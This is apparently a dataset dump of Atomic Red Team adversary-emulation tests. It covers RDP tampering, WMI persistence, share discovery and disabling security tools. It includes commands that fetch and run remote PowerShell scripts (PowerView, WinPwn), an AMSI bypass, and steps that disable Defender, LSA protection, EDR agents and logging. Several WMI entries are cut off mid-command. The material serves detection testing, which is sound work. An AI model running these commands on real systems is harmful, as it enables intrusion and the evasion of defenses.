deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1021.001: Remote Services: Remote Desktop Protocol
Test: Changing RDP Port to Non Standard Port via Powershell
Platforms: windows
Executor: powershell

Description:
Changing RDP Port to Non Standard Port via Powershell


Command:
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port}
New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}


Cleanup:
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{OLD_Remote_Port}
Remove-NetFirewallRule -DisplayName "RDPPORTLatest-TCP-In" -ErrorAction Ignore 
Get-Service TermService | Restart-Service -Force -ErrorAction Ignore
Atomic Red Team — T1021.001: Remote Services: Remote Desktop Protocol
Test: Changing RDP Port to Non Standard Port via Command_Prompt
Platforms: windows
Executor: command_prompt

Description:
Changing RDP Port to Non Standard Port via Command_Prompt


Command:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f
netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}


Cleanup:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} /f >nul 2>&1
netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1
net stop TermService /y >nul 2>&1
net start TermService >nul 2>&1
Atomic Red Team — T1021.001: Remote Services: Remote Desktop Protocol
Test: Disable NLA for RDP via Command Prompt
Platforms: windows
Executor: command_prompt

Description:
Disables network-level authentication (NLA) for RDP by changing a registry key via Command Prompt
Disabling NLA for RDP can allow remote user interaction with the Windows sign-in screen prior to authentication. According to Microsoft, Flax Typhoon actors used this technique implementation to achieve persistence on victim systems: https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/
See also: https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/management/enable_rdp.py


Command:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /d 0 /t REG_DWORD /f


Cleanup:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /d #{Default_UserAuthentication} /t REG_DWORD -f >nul 2>&1
Atomic Red Team — T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription
Test: Persistence via WMI Event Subscription - CommandLineEventConsumer
Platforms: windows
Executor: powershell

Description:
Run from an administrator powershell window. After running, reboot the victim machine.
After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

Code references

https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545


Command:
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{


Cleanup:
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam
Atomic Red Team — T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription
Test: Persistence via WMI Event Subscription - ActiveScriptEventConsumer
Platforms: windows
Executor: powershell

Description:
Run from an administrator powershell window. After running, reboot the victim machine.
After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

Code references

https://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c


Command:
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                ScriptingEngine='VBScript';
                ScriptText='
                Set objws = CreateObject("Wscript.Shell")
                objws.Run "notepad.exe", 0, True
                '}
$Consumer=Set-WmiInstan

Cleanup:
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTe
Atomic Red Team — T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription
Test: Windows MOFComp.exe Load MOF File
Platforms: windows
Executor: powershell

Description:
The following Atomic will utilize MOFComp.exe to load a local MOF file.
The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. 
To query for the class:  gwmi __eventfilter -namespace root\subscription
A successful execution will add the class to WMI root namespace.
Reference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.


Command:
#{mofcomp_path} "#{mof_file}"


Cleanup:
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam_consumer'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam_filter'"
$FilterConsumerBindingToClean

Dependencies:
MofComp.exe must exist on disk at specified location (#{mofcomp_path})

MofComp.exe must exist on disk at specified location (#{mof_file})
Atomic Red Team — T1135: Network Share Discovery
Test: Network Share Discovery
Platforms: macos
Executor: sh

Description:
Network Share Discovery


Command:
df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
Atomic Red Team — T1135: Network Share Discovery
Test: Network Share Discovery - linux
Platforms: linux
Executor: bash

Description:
Network Share Discovery using smbstatus


Command:
smbstatus --shares


Dependencies:
Package with smbstatus (samba) must exist on device
Atomic Red Team — T1135: Network Share Discovery
Test: Network Share Discovery - FreeBSD
Platforms: linux
Executor: sh

Description:
Network Share Discovery using smbstatus


Command:
smbstatus --shares


Dependencies:
Package with smbstatus (samba) must exist on device
Atomic Red Team — T1135: Network Share Discovery
Test: Network Share Discovery command prompt
Platforms: windows
Executor: command_prompt

Description:
Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
Upon execution available network shares will be displayed in the powershell session


Command:
net view \\#{computer_name}
Atomic Red Team — T1135: Network Share Discovery
Test: Network Share Discovery PowerShell
Platforms: windows
Executor: powershell

Description:
Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host
Upon execution, available network shares will be displayed in the powershell session


Command:
get-smbshare
Atomic Red Team — T1135: Network Share Discovery
Test: View available share drives
Platforms: windows
Executor: command_prompt

Description:
View information about all of the resources that are shared on the local computer Upon execution, available share drives will be displayed in the powershell session

Command:
net share
Atomic Red Team — T1135: Network Share Discovery
Test: Share Discovery with PowerView
Platforms: windows
Executor: powershell

Description:
Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose


Dependencies:
Endpoint must be joined to domain
Atomic Red Team — T1135: Network Share Discovery
Test: PowerView ShareFinder
Platforms: windows
Executor: powershell

Description:
PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.

Command:
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Invoke-ShareFinder #{parameters}


Dependencies:
Invoke-ShareFinder module must exist in %TEMP% directory
Atomic Red Team — T1135: Network Share Discovery
Test: WinPwn - shareenumeration
Platforms: windows
Executor: powershell

Description:
Network share enumeration using the shareenumeration function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
shareenumeration -noninteractive -consoleoutput
Atomic Red Team — T1135: Network Share Discovery
Test: Network Share Discovery via dir command
Platforms: windows
Executor: command_prompt

Description:
Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip
Upon execution available network shares will be displayed in the commandline session


Command:
dir \\#{computer_ip}\c$
dir \\#{computer_ip}\admin$
dir \\#{computer_ip}\IPC$
Atomic Red Team — T1135: Network Share Discovery
Test: Enumerate All Network Shares with SharpShares
Platforms: windows
Executor: powershell

Description:
SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. 
This technique has been utilized by various ransomware groups, including BianLian.
[Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)


Command:
cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"

Cleanup:
remove-item "#{output_path}" -force -erroraction silentlycontinue

Dependencies:
The SharpShares executable must exist on disk
Atomic Red Team — T1135: Network Share Discovery
Test: Enumerate All Network Shares with Snaffler
Platforms: windows
Executor: powershell

Description:
Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. 
[Reference](https://unit42.paloaltonetworks.com/muddled-libra/)


Command:
invoke-expression 'cmd /c start powershell -command { cmd /c "#{snaffler_path}" -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"'


Cleanup:
remove-item "#{output_path}" -force -erroraction silentlycontinue

Dependencies:
The Snaffler executable must exist on disk
Atomic Red Team — T1614: System Location Discovery
Test: Get geolocation info through IP-Lookup services using curl Windows
Platforms: windows
Executor: command_prompt

Description:
Get geolocation info through IP-Lookup services using curl Windows. The default URL of the IP-Lookup service is https://ipinfo.io/. References: https://securelist.com/transparent-tribe-part-1/98127/ and https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/


Command:
#{curl_path} -k #{ip_lookup_url}


Dependencies:
Curl must be installed on system.
Atomic Red Team — T1614: System Location Discovery
Test: Get geolocation info through IP-Lookup services using curl freebsd, linux or macos
Platforms: macos, linux
Executor: bash

Description:
Get geolocation info through IP-Lookup services using curl Windows. The default URL of the IP-Lookup service is https://ipinfo.io/. References: https://securelist.com/transparent-tribe-part-1/98127/ and https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/


Command:
curl -k #{ip_lookup_url}
Atomic Red Team — T1685: Disable or Modify Tools
Test: Windows Disable LSA Protection
Platforms: windows
Executor: command_prompt

Description:
The following Atomic adds a registry entry to disable LSA Protection.

The LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.
Upon successful execution, the registry will be modified and RunAsPPL will be set to 0, disabling Lsass protection.
https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#how-to-disable-lsa-protection
https://blog.netwrix.com/2022/01/11/understanding-lsa-protection/
https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/  


Command:
reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f


Cleanup:
reg delete HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f >nul 2>&1
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable journal logging via systemctl utility
Platforms: linux
Executor: sh

Description:
The atomic test disables the journal logging using built-in systemctl utility


Command:
sudo systemctl stop systemd-journald #disables journal logging


Cleanup:
sudo systemctl start systemd-journald #starts journal service
sudo systemctl enable systemd-journald #starts journal service automatically at boot time
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable journal logging via sed utility
Platforms: linux
Executor: sh

Description:
The atomic test disables the journal logging by searching and replacing the "Storage" parameter to "none" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk


Command:
sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf


Cleanup:
sudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data
sudo systemctl restart systemd-journald #restart the journal service
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable syslog
Platforms: linux
Executor: sh

Description:
Disables syslog collection


Command:
#{flavor_command}


Cleanup:
#{cleanup_command}


Dependencies:
Package with rsyslog must be on system
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable syslog (freebsd)
Platforms: linux
Executor: sh

Description:
Disables syslog collection


Command:
service syslogd stop
sysrc syslogd_enable="NO"


Cleanup:
sysrc syslogd_enable="YES"
service syslogd start
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable Cb Response
Platforms: linux
Executor: sh

Description:
Disable the Cb Response service


Command:
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service cbdaemon stop
  chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop cbdaemon
  systemctl disable cbdaemon
fi
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable SELinux
Platforms: linux
Executor: sh

Description:
Disables SELinux enforcement


Command:
setenforce 0


Cleanup:
setenforce 1


Dependencies:
SELinux must be installed
Atomic Red Team — T1685: Disable or Modify Tools
Test: Stop Crowdstrike Falcon on Linux
Platforms: linux
Executor: sh

Description:
Stop and disable Crowdstrike Falcon on Linux


Command:
sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service


Cleanup:
sudo systemctl enable falcon-sensor.service
sudo systemctl start falcon-sensor.service
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable Carbon Black Response
Platforms: macos
Executor: sh

Description:
Disables Carbon Black Response


Command:
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist


Cleanup:
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable LittleSnitch
Platforms: macos
Executor: sh

Description:
Disables LittleSnitch


Command:
sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist


Cleanup:
sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable OpenDNS Umbrella
Platforms: macos
Executor: sh

Description:
Disables OpenDNS Umbrella


Command:
sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist


Cleanup:
sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable macOS Gatekeeper
Platforms: macos
Executor: sh

Description:
Disables macOS Gatekeeper


Command:
sudo spctl --master-disable


Cleanup:
sudo spctl --master-enable
Atomic Red Team — T1685: Disable or Modify Tools
Test: Stop and unload Crowdstrike Falcon on macOS
Platforms: macos
Executor: sh

Description:
Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS


Command:
sudo launchctl unload #{falcond_plist}
sudo launchctl unload #{userdaemon_plist}


Cleanup:
sudo launchctl load -w #{falcond_plist}
sudo launchctl load -w #{userdaemon_plist}
Atomic Red Team — T1685: Disable or Modify Tools
Test: Unload Sysmon Filter Driver
Platforms: windows
Executor: command_prompt

Description:
Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,
run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".


Command:
fltmc.exe unload #{sysmon_driver}


Cleanup:
sysmon -u -i > nul 2>&1
sysmon -i -accepteula -i > nul 2>&1
"PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u > nul 2>&1
"PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i > nul 2>&1


Dependencies:
Sysmon must be downloaded

sysmon must be Installed

sysmon filter must be loaded
Atomic Red Team — T1685: Disable or Modify Tools
Test: Uninstall Sysmon
Platforms: windows
Executor: command_prompt

Description:
Uninstall Sysinternals Sysmon for Defense Evasion


Command:
sysmon -u


Cleanup:
sysmon -i -accepteula >nul 2>&1


Dependencies:
Sysmon executable must be available

Sysmon must be installed
Atomic Red Team — T1685: Disable or Modify Tools
Test: AMSI Bypass - AMSI InitFailed
Platforms: windows
Executor: powershell

Description:
Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true.
Upon execution, no output is displayed.

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/


Command:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


Cleanup:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)
Atomic Red Team — T1685: Disable or Modify Tools
Test: AMSI Bypass - Remove AMSI Provider Reg Key
Platforms: windows
Executor: powershell

Description:
With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.


Command:
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse


Cleanup:
New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable Arbitrary Security Windows Service
Platforms: windows
Executor: command_prompt

Description:
With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
To verify that the service has stopped, run "sc query McAfeeDLPAgentService"


Command:
net.exe stop #{service_name}
sc.exe config #{service_name} start= disabled


Cleanup:
sc.exe config #{service_name} start= auto >nul 2>&1
net.exe start #{service_name} >nul 2>&1
Atomic Red Team — T1685: Disable or Modify Tools
Test: Tamper with Windows Defender ATP PowerShell
Platforms: windows
Executor: powershell

Description:
Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.


Command:
Set-MpPreference -DisableRealtimeMonitoring 1
Set-MpPreference -DisableBehaviorMonitoring 1
Set-MpPreference -DisableScriptScanning 1
Set-MpPreference -DisableBlockAtFirstSeen 1


Cleanup:
Set-MpPreference -DisableRealtimeMonitoring 0
Set-MpPreference -DisableBehaviorMonitoring 0
Set-MpPreference -DisableScriptScanning 0
Set-MpPreference -DisableBlockAtFirstSeen 0
Atomic Red Team — T1685: Disable or Modify Tools
Test: Tamper with Windows Defender Command Prompt
Platforms: windows
Executor: command_prompt

Description:
Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
will be displayed twice and the WinDefend service status will be displayed.


Command:
sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend


Cleanup:
sc start WinDefend >nul 2>&1
sc config WinDefend start=enabled >nul 2>&1